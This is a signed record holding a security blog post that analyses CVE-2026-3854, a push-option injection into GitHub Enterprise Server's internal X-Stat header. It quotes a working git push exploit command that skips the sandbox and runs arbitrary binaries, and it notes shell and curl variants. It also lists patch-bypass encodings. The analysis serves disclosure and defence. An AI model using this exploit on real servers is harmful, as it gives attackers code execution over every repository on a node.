-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `X-Stat` is the trust handoff between babeld and gitrpcd\n\nWhen a client opens an SSH connection to `git@github.com` and runs `git push`, the request lands at babeld. babeld terminates the SSH session, talks to a separate `gitauth` service to confirm the user has push access, and forwards the push to gitrpcd over an internal RPC channel. gitrpcd is what actually invokes the on-disk pre-receive hook, runs it, accepts or rejects the push, and writes the objects.\n\nThe two services live on different processes, often on different hosts. The wire format gitrpcd uses to make decisions is a single header attached to babeld's RPC call, named `X-Stat`. From the public PoC at `5kr1pt/CVE-2026-3854`, an unmodified `X-Stat` looks like this:\n\n```\nrails_env=production;\nuser_id=int:42531;\nuser_login=paulo.werneck;\nrepo_id=int:8821;\nrepo_path=/data/repositories/a/b/cd/ef/12/8821.git;\noperator_mode=bool:false;\nuser_operator_mode=bool:false;\ncustom_hooks_dir=/data/user/git-hooks;\nrepo_pre_receive_hooks=[{\"id\":1,\"script\":\"validate-commit.sh\",\"enforcement\":\"required\"}];\nlarge_blob_rejection_enabled=bool:true;\nmax_blob_size=int:104857600;\nreject_sha_like_refs=bool:true;\npush_option_count=int:0\n```\n\nEach field is consumed by gitrpcd with a specific authority. `rails_env` decides whether the next process runs inside the sandbox or is exec'd directly. `custom_hooks_dir` decides where the pre-receive hook script is loaded from on disk. `repo_pre_receive_hooks` is a JSON list of hook objects gitrpcd executes in order. `large_blob_rejection_enabled` decides whether oversized blobs are rejected. `reject_sha_like_refs` decides whether refs that look like commit hashes are blocked. `max_blob_size` is the size limit. The header is the policy. gitrpcd does not consult any other source; it reads the string babeld wrote.\n\nThe trust between the two services is held by the architecture. babeld is upstream of authentication. gitrpcd is downstream. babeld is the only writer of `X-Stat` in any documented codepath. The fields `rails_env`, `custom_hooks_dir`, `repo_pre_receive_hooks` are not user-visible anywhere in the Git wire protocol; they are internal data babeld attaches because gitrpcd needs them. The Wiz writeup states it plainly: `gitrpcd` performs no authentication of its own; it trusts `babeld`.\n\nThat trust is a single string.\n\n## Push option values land in `X-Stat` by concatenation\n\n`git push -o key=value` is a documented Git feature. Push options are user-supplied metadata the client sends to the server with a push, used by various servers to enable workflows like merge-on-push directives or skip-CI flags. They are intended to be passed through to the server's pre-receive logic.\n\nThe pre-receive logic in this case is gitrpcd. Push options have to reach gitrpcd somehow. babeld's solution was to append them to the same `X-Stat` header it already builds, with their own field names:\n\n```\n...; push_option_count=int:N; push_option_0=; push_option_1=; ...\n```\n\nThe values were inserted verbatim. The public PoC at `lysophavin18/CVE-2026-3854-PoC` simulates the vulnerable path:\n\n```python\ndef build_xstat_header(push_options: list[str]) -> str:\n parts = list(BASELINE_FIELDS.items())\n for idx, value in enumerate(push_options):\n # push_option_N=: value is NOT sanitised (vulnerable path)\n parts.append((f\"push_option_{idx}\", value))\n return \";\".join(f\"{k}={v}\" for k, v in parts)\n```\n\nA semicolon inside a value is not escaped. It is written as-is. gitrpcd's parser splits the resulting header on semicolons:\n\n```python\ndef parse_xstat_header(header: str) -> dict[str, str]:\n result: dict[str, str] = {}\n for token in header.split(\";\"):\n if \"=\" in token:\n key, _, val = token.partition(\"=\")\n result[key.strip()] = val.strip()\n return result\n```\n\nFor each `key=value` token, last write wins. If `rails_env=production` appears at byte 0 of `X-Stat` and `rails_env=development` appears 800 bytes later because a push option supplied `normal_value;rails_env=development`, the second value is what gitrpcd uses.\n\nThere is no separate parser for push option values. There is no escape function. There is no allowlist of fields a `push_option_N` field is permitted to introduce. babeld's trust hand-off and the user's command-line input share a single string and a single delimiter.\n\n## Three overrides and a path resolve to an arbitrary binary\n\nThe exploit sets three fields and then names the binary the server should run.\n\n`rails_env`. When `rails_env=production`, gitrpcd runs the pre-receive hook in a sandbox. The sandbox restricts what the script can do. When `rails_env` is anything else, gitrpcd runs the hook directly. Setting `rails_env=development` (or `staging`, or any non-`production` string) is the first override.\n\n`custom_hooks_dir`. This is the base directory gitrpcd resolves hook script paths against. By default it is something like `/data/user/git-hooks`. Pointing it at a directory under attacker control is one option. Pointing it at `/bin` is the option the public PoCs use, because every binary under `/bin` is then nameable as a relative path from a `repo_pre_receive_hooks` entry.\n\n`repo_pre_receive_hooks`. This is a JSON array of hook descriptors. Each descriptor names a `script` field. gitrpcd resolves the script as `custom_hooks_dir + \"/\" + script` and executes the result. If `custom_hooks_dir` is `/bin` and `script` is `whoami`, the path resolves to `/bin/whoami`.\n\nThe full push command, from the public PoC at `5kr1pt/CVE-2026-3854`:\n\n```bash\ngit push \\\n -o \"x;rails_env=development\" \\\n -o \"x;custom_hooks_dir=/bin\" \\\n -o 'x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]' \\\n origin master\n```\n\nEach push option starts with a benign value (`x`), a semicolon, and then the field the attacker wants to overwrite. babeld concatenates each value into `X-Stat` verbatim. After concatenation the header contains, somewhere in its tail:\n\n```\n...; push_option_0=x;rails_env=development;\n push_option_1=x;custom_hooks_dir=/bin;\n push_option_2=x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]; ...\n```\n\ngitrpcd parses the result and takes the last value for each key:\n\n```\nrails_env = development\ncustom_hooks_dir = /bin\nrepo_pre_receive_hooks = [{\"script\":\"whoami\"}]\n```\n\nThe pre-receive hook resolves to `/bin/whoami`. `rails_env=development` skips the sandbox. gitrpcd executes the binary as the `git` service user, with the working directory inside the bare repository it just received the push for. Wiz documents the execution context: full filesystem access on shared nodes, as the user that owns every repository.\n\n`whoami` returns `git`. Substitute any binary on the host. `/bin/sh` opens a shell. `/usr/bin/curl` plus a hook entry of `curl` and a path traversal in the script field reaches a remote URL and pipes whatever returns to the shell. The pre-receive hook is a process spawned inside the container that holds every repository on the node.\n\nThe prerequisite, per the NVD entry, is push access to a single repository on the instance. After one `git push`, the caller owns the `git` service user.\n\n## `X-Stat` was internal by convention\n\nThis is the [internal-only-by-convention](/patterns/internal-only-by-convention) pattern. A header, query parameter, or shared name the framework writes to itself and reads with security-relevant authority, with no enforcement of who wrote it. The \"internal-only\" status is held by documentation and by the absence of any user-supplied path that reaches the same field. Once such a path appears, the documentation is what is defending the field.\n\n`X-Stat` looked internal. babeld and gitrpcd are GitHub-internal services. Customers do not call them directly. The header is undocumented in any public Git protocol. A reasonable engineer reading babeld's source might believe nothing user-controlled ever reached `X-Stat`'s body.\n\nThe push-option codepath is what made that wrong. Push options are part of the Git wire protocol; they have to traverse the proxy. babeld chose to concatenate them into `X-Stat` because `X-Stat` was already the channel for everything else gitrpcd needed. The architecture put the user input and the internal trust in the same string.\n\nThe pattern repeats across the catalog. [CVE-2025-29927](/posts/next-middleware-cve-2025-29927-recursion-guard-was-the-bypass) was Next.js's `x-middleware-subrequest` header, internal between framework `fetch()` calls, read on every inbound request to short-circuit middleware execution. [CVE-2026-34220](/posts/mikroorm-cve-2026-34220-raw-was-a-property-name) was MikroORM's `__raw` property name, internal between framework branding and SQL inlining, read on any object whose prototype answered the `in` check. [CVE-2026-26210](/posts/ktransformers-cve-2026-26210-only-caller-was-on-localhost) was KTransformers' scheduler RPC port, internal because the only caller in the codebase connected to localhost, exposed because the docker-run guide bound it on every interface.\n\nIn all four, the framework writes to itself and reads with security authority. In all four, no enforcement gates the read. In all four, the patch closes the specific instance and leaves the trust shape intact.\n\nThe X-Stat surface here is wider than any of those. `rails_env`, `custom_hooks_dir`, `repo_pre_receive_hooks`, `enterprise_mode`, `user_operator_mode`, `large_blob_rejection_enabled`, `reject_sha_like_refs`, `max_blob_size`, `push_option_count`. Every field gitrpcd reads with authority lives in the same string as the user's push options. The push-option codepath was the path that made the string reachable. Closing the path does not close the string.\n\n## The patch closes the path. It does not close the string.\n\nWiz reported the issue on March 4, 2026. GitHub deployed a fix on GitHub.com within six hours. GHES patches were released on March 10 in versions 3.14.24, 3.15.19, 3.16.15, 3.17.12, 3.18.6, and 3.19.3. Public disclosure followed on April 28.\n\nThe fix is a sanitization step in babeld: percent-encode semicolons in push option values before writing them to `X-Stat`.\n\n```diff\n- push_option_value: normal_value;rails_env=staging\n+ push_option_value: normal_value%3Brails_env=staging\n```\n\nThe patched parser sees `push_option_0=normal_value%3Brails_env=staging`. The substring `rails_env=staging` is part of the value, not a new field. The injection is neutralized for that delimiter.\n\nThe NVD entry does not list 3.14.24, 3.15.19, 3.16.15, 3.17.12, 3.18.6, 3.19.3 as the fixed versions. It lists 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.7, and 3.19.4. The first wave of patches is one minor version behind the record's notion of \"fixed.\"\n\nA repo on GitHub named `simondankelmann/cve-2026-3854-test`, created April 29, has a one-line description: `CVE-2026-3854 patch bypass testing`. The repository's commit log is 110 ordered tests of alternative encodings against the patched proxy. The first thirty commits read:\n\n```\ntest 1 - direct semicolon\ntest 2 - url encoded semicolon\ntest 3 - url encoded uppercase\ntest 4 - double encoded\ntest 5 - hex literal\ntest 6 - unicode fullwidth semicolon\ntest 6b - unicode fullwidth semicolon retry\ntest 7 - null byte semicolon\ntest 7b - semicolon null byte\ntest 8 - CRLF semicolon\ntest 9 - newline injection\ntest 10 - CR injection\ntest 11 - vertical tab\ntest 12 - form feed\ntest 13 - tab char\ntest 14 - backspace\ntest 15 - space char\ntest 16 - bell char\ntest 17 - escape char\ntest 18 - DEL char\ntest 19 - high byte 0x80\ntest 20 - unicode em dash\ntest 21 - accented char\ntest 22 - push_option_count override\ntest 23 - rails_env override\ntest 24 - user_operator_mode\ntest 25 - semicolon rails_env\n```\n\nThe shape of that log is a researcher walking down the list of every character a permissive normalizer might fold into a semicolon, every codepath the parser might traverse, every other field the attacker might want to overwrite. That walk is what produces a second wave of patches. The header is a string, and a string admits more delimiters than `;`.\n\nThe version gap between Wiz's disclosure and NVD's fixed-version field is the public record of that walk landing.\n\nPoC: [lysophavin18/CVE-2026-3854-PoC](https://github.com/lysophavin18/CVE-2026-3854-PoC)","closing_line":"`rails_env` is a header field. The header is a string. The string took user input.","hook_md":"`babeld` is the proxy at the front of GitHub Enterprise Server's git push pipeline. `gitrpcd` is the RPC server downstream. Between them, babeld writes a single header named `X-Stat` that gitrpcd parses as the source of truth for what code to run and whether to sandbox it. Wiz's writeup says it directly: gitrpcd performs no authentication of its own; it trusts what babeld wrote.\n\n`X-Stat` is a semicolon-delimited string. Push options are arbitrary key-value pairs the user types on the command line. babeld concatenated the second kind into the first kind verbatim. The parser is last-write-wins.\n\nThe header carries `rails_env`. The same header carries `push_option_0`. The string between them is one byte the user controls.","post_id":70,"slug":"github-rails-env-is-a-header-field","title":"CVE-2026-3854: rails_env Is a Header Field. The Header Took User Input.","type":"initial","unreadable_sentence":"Every field gitrpcd reads with authority lives in the same string as the user's push options."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCafYHrQAKCRDeZjl4jgkQ JkhCAP402zvgEu+2387Era1RXzgkiBmsMM3J1MNUop0wSQKlOQD/S9Vp9H9M7mHR rHh7bLka878SBUzJ0sF4DMHW0KgduwE= =/jTC -----END PGP SIGNATURE-----